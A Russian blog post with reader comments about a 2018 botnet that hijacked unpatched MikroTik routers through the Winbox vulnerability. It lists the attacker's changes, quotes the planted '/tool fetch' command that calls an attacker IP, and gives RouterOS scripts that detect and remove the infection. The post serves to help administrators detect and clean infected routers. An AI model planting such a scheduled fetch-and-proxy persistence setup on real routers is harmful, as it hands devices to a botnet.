Второго августа получил рассылку “MikroTik: URGENT security advisory” о том, что некий ботнет использует уязвимость Winbox Service для взлома и заражения устройств.

Из текста рассылки стало ясно, что уязвимость закрыта еще 23 апреля 2018 года в версии v6.42.1. Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.

Что делает атакующий скрипт?

  • Получает список пользователей через уязвимость (т.е. смена admin на что-то другое не спасает).
  • Пытается зайти под всеми полученными логинами и отсеивает заблокированные.
  • Найдя активный логин, получает его пароль, заходит в систему.

Затем:

  • Отключает все drop правила на файрволле.
  • Включает socks (IP – Socks) на нестандартном порте, в моем случае 4145.
  • Добавляет скрипт /tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no в System – Scripts
  • Добавляет запуск скрипта в System – Scheduler.
  • Удаляет существующие скрипты (по сообщениям на форуме Mikrotik).

Атака шла с адреса 95.154.216.151, который принадлежит iomart Hosting Limited, написал им сообщение через сайт, но никакой реакции пока нет, адрес активен.

Адрес 95.154.216.166 так же активен, но файла mikrotik.php на нем нет.

Вот тут можно увидеть сообщения от пострадавших:
www.abuseipdb.com/check/95.154.216.151
www.abuseipdb.com/check/95.154.216.166

Если ваш Mikrotik еще не обновлен и порт Winbox открыт для всех, обязательно проверьте устройство.

  1. Проверяем, что активны drop правила в IP – Firewall.
  2. Проверяем socks, должен быть отключен и порт должен быть по умолчанию – 1080.
  3. Проверяем наличие левых скриптов в System – Scripts и System – Scheduler.
  4. Проверяем наличие файла miktorik.php
  5. Делаем /export в терминале и проверяем конфигурацию глазами.

Пользователь gotsprings на форуме Mikrotik предложил такой вариант проверки:

:if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"}
:if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"}
:if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."}
:if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."}
:if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}

Open you log and look at the results. If you have a result with "!" you might have a problem.

Очевидно, что очень плохо держать открытый для всех Winbox Service, но в некоторых случаях это случается, не забывайте обновлять свои устройства!

Ссылки по теме:

forum.mikrotik.com/viewtopic.php?f=21&t=137572
thehackernews.com/2018/08/mikrotik-router-hacking.html

Комментарии (31)


  1. Foggy4
    04.08.2018 09:56

    А в каких случаях необходимо держать открытый для всех Winbox Service? Логика подсказывает, что если только это не ваш личный роутер с которым вы вольны делать все, что угодно, инструменты управления должны быть максимально защищены.


    1. xl-tech Автор
      04.08.2018 10:02

      Попробуйте объяснить это некоторым оутсортерам, начальство жалобы игнорирует. Сервис открыт, потому что им «так удобно». Взломанный роутер как раз обслуживается одной из таких компаний. Заменил слово «необходимо» :)


      1. psycho-coder
        04.08.2018 13:02
        +1

        «PortKnocking? Не, не слышал!» ))


      1. Mur81
        04.08.2018 19:14
        +2

        Это на самом деле повод отказаться от услуг этой организации т.к. после этого возникают вопросы к их компетенции. Пусть свои удобства применяют в другом месте.
        Есть различные способы получать удалённый доступ к инструментам управления не выставляя при этом их в открытый доступ. И это не так уж не удобно.


        1. xl-tech Автор
          04.08.2018 19:17

          Я бы рад, но решаю не я, фирма аффилирована с руководством.


      1. IgorGIV
        04.08.2018 19:14

        Вы не могли бы уточнить, я правильно понимаю, что под «сервис открыт», Вы подразумеваете, что он открыт наружу? Т.е. если вход для winbox у меня открыт только с определённого IP/диапазона IP-адресов изнутри локальной сети, то мне беспокоиться не стоит?


        1. xl-tech Автор
          04.08.2018 19:19

          Я бы обновил роутеры в любом случае, может завтра в вашей локальной сети заведется троян с функционалом использования этой уязвимости. А так да, от атак извне вы защищены.


          1. IgorGIV
            04.08.2018 20:48

            Да, обновления — это само собой. Просто был интересен вектор. Спасибо за пояснение!


          1. JerzyEx
            04.08.2018 21:31

            А вы с 6.40.1 на какую версию обновились? А то я сегодня перепрошил на последнюю (6.42.6) и схватил кучу проблем с доступностью извне и двумя провайдерами, кажется ещё и L2TP сервер поломали


            1. Meklon
              04.08.2018 21:41

              У меня l2tp нормально работает. И сервер и клиенты. Версия последняя.


              1. JerzyEx
                04.08.2018 21:52

                А с андроида пытались подключиться к Микротику? Пока нет возможности посмотреть, что на виндоус клиентах, а вот андроид стопорится после ISAKMP-SA established


                1. Meklon
                  04.08.2018 22:12

                  L2TP + IPsec PSK. Все норм. Только сегодня подключал


                  1. JerzyEx
                    04.08.2018 22:17

                    Спасибо за инфу, буду разбираться у себя дальше


                    1. Meklon
                      04.08.2018 22:25

                      Если будет нужно — кину кусок конфига или логи.


                      1. JerzyEx
                        05.08.2018 11:19

                        Благодарю, но после пары раз полного сброса конфигурации и восстановления её из бекапа всё заработало


  1. denis-19
    04.08.2018 11:30

    Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.
    А почему только один оказался заражен? Остальные были подругому подключены\настроены или что там было разного в них, что только один атакован реальной угрозой?


    1. xl-tech Автор
      04.08.2018 11:48

      Думаю, во время сканирования ботнетом интернета роутеры просто были отключены (они стоят в торговых точках, где на ночь отключают электричество), так что просто повезло.


  1. awsswa59
    04.08.2018 12:28

    Есть же стандартный скрипт блокировки на перебор паролей RDP с блокировкой порта 3389 после 5 попыток подряд.
    Что мешает переделать на порт 8291, время с 23 до 8 утра и блокировкой на месяц?
    kniko.net/block-brute-force-on-microsoft-rdp-using-mikrotik-router


    1. Naves
      04.08.2018 16:39
      +1

      А перебора паролей нету, там сразу подключаются с нужным пользователем, и вливают команды. Обычно первый же пользователь из списка рабочий. Поможет только закрытие порта, whitelist или port-knock.


  1. eteh
    04.08.2018 19:13

    У меня на работе по белому ip постоянно пытаются атаковать системообразующий роутер, ну пусть пытаются… Дома с серым ip таких проблем нет.


    1. Chupaka
      05.08.2018 14:37

      Версию-то оси огласите :)


      1. eteh
        06.08.2018 11:14

        6.42.3


        1. Chupaka
          06.08.2018 15:00

          Была бы просто 6.42 — оценили бы скорость работы сканеров :)
          В теме на Руборде сегодня спрашивали, почему при чистой установке CHR на ESXi у юзера admin ограничены права и где взять пароль от юзера router с полным доступом. Оказалось, роутер после запуска успел пять минут повисеть в Интернете без пароля.
          Оно, конечно, не совсем в тему (хотя обсуждаемая уязвимость = по сути отсутствие пароля), но в целом тоже показательно.


  1. zlo1
    04.08.2018 19:14

    Сейчас в публичном доступе десятки тысяч прокси socks4 на порту 4145


  1. nafgne
    04.08.2018 20:34

    Абузить IP вообще бесполезно. Я как-то раз посмотрел логи авторизации, разозлился и разослал жалобы по всему списку, используя данные из whois. В итоге получил 3 автоотлупа, 1 рекомендацию писать на то самое мыло, на которое слал, и игнор от остальных. Брутфорс с большинства адресов так и идёт.


  1. volkeu
    05.08.2018 16:19
    +1

    Команды с форума недостаточно проверяют, как я выяснил. Из того, что я нашёл, проверить, заражён ли роутер (и сразу же пофиксить) можно этими командами:

    # Firewall auto-fix - dangerous if you had disabled drop rules before infection (can't imagine why, though)
    :if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Firewall drop rules were disabled"; /ip firewall filter enable [find action=drop]}
    :if ([:len [/ip firewall filter find chain=input action=accept dst-port="8291"]] > 0) do={:put "Winbox had default firewall accept rule";/ip firewall filter remove [find chain=input action=accept dst-port="8291"]}
    # Use this if you need to check firewall rules manually
    :if ([:len [/ip firewall filter find where action=drop disabled]] > 0) do={:put "Disabled firewall drop rules:"; /ip firewall filter print where  action=drop disabled}
    # Winbox
    :if ([/ip service get winbox disabled] != true) do={:put "Winbox was enabled"; /ip service disable winbox}
    # Socks
    :if ([/ip socks get port] != 1080) do={:put "Socks Port was not 1080"; /ip socks set port=1080}
    :if ([/ip socks get enabled] != false) do={:put "Socks was enabled"; /ip socks set enabled=no}
    :if ([:len [/ip socks access find src-address~"95.154.216.128"]] > 0) do={:put "ip socks access had rule for 95.154.216.128"; /ip socks access remove [find src-address~"95.154.216.128"]}
    # Script and scheduler
    :if ([:len [/system script find source~"ikrotik.php"]] > 0) do={:put "Script containing \"ikrotik.php\" found"; :foreach s in=[/system script find source~"ikrotik.php"] do={/system scheduler remove [find on-event~[/system script get $s name]]}; /system script remove [find source~"ikrotik.php"]}
    # File mikrotik.php
    :if ([:len [/file find name="mikrotik.php"]] + [:len [/file find name="Mikrotik.php"]] > 0) do={ :put "File [Mm]ikrotik.php was found"; /file remove [find name="mikrotik.php"]; /file remove [find name="Mikrotik.php"];}
    # User "service"
    :if ([:len [/user find name="service"]] > 0) do={:put "User \"service\" existed"; /user remove [find name="service"]}

    Даже скрипт написал, и закинул в pastebin.com/GAtA2mZa


  1. zigrus
    06.08.2018 13:42

    хочу обновить свой микротик а он выдает это
    ERROR: not enough disk space, 7.1MiB is required and only 7.0MiB is free
    места немного не хватает
    Free HDD Space 7.0 MiB
    Total HDD Size 16.0 MiB

    как его освободить.
    делать сброс как то не хочется


    1. eteh
      06.08.2018 13:47

      Есть же Files вкладка, а так бекап необходимых данных и восстановление.


    1. xl-tech Автор
      06.08.2018 14:44

      На форуме Микротика тоже жалуются на версию с 16МБ памяти. Из советов — удалить неиспользуемые пакеты, перезагрузиться и попробовать прошить еще раз, если не поможет, использовать wiki.mikrotik.com/wiki/Manual:Netinstall


  1. zigrus
    06.08.2018 14:03

    там всего 2 файла


    1. eteh
      06.08.2018 14:21

      Есть вариант попробовать через packages обновить